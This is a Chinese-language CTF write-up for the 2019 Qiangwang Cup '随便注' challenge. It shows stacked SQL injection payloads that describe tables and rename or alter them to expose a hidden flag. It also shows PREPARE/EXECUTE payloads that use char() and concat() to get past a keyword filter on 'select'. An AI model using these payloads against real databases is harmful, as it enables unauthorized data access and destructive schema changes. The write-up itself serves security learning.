CTF[2019 强网杯]随便注.
照例and or测试一下
发现表里所有数据,但没有flag
尝试一下堆叠注入
可以用堆叠注入,接着看表
发现两个表,看看words
1';desc words;#
发现这个查询可能是在words这个表进行的。
但是没有flag
看看1919810931114514这个
注意:数字表名要用反引号。`1919810931114514`
1';desc `1919810931114514`;#
看看select有没有被过滤
过滤了,union那些也用不了
想到刚才发现words表,又可以堆叠查询,所以试试能不能改表名
把words改成words1,然后把1919810931114514改成words,再把列名flag改成id,结合上面的1' or 1=1#爆出表所有内容就可以得到flag
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
再试一次 1' or 1=1#
成功获得flag
然后这里可用第二种方法,sql预处理
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
预处理也可以传递变量
SET @tn = 'hahaha'; //存储表名
SET @sql = concat('select * from ', @tn); //存储SQL语句
PREPARE name from @sql; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; //删除预定义SQL语句
这里可利用 char() 函数将select的ASCII码转换为select字符串,接着利用concat()函数进行拼接得到select查询语句,从而绕过过滤。或者直接用concat()函数拼接select来绕过。
char(115,101,108,101,99,116)<----->select
payload1:不用变量
1';PREPARE du1ge from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE du1ge;#
payload2:用变量
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE du1ge from @sqli;EXECUTE du1ge;#
payload3:不用char
1';PREPARE du1ge from concat('s','elect', ' * from `1919810931114514` ');EXECUTE du1ge;#
但事实上堆叠注入可作用的情况比较少
不过这题还是可以学到很多的。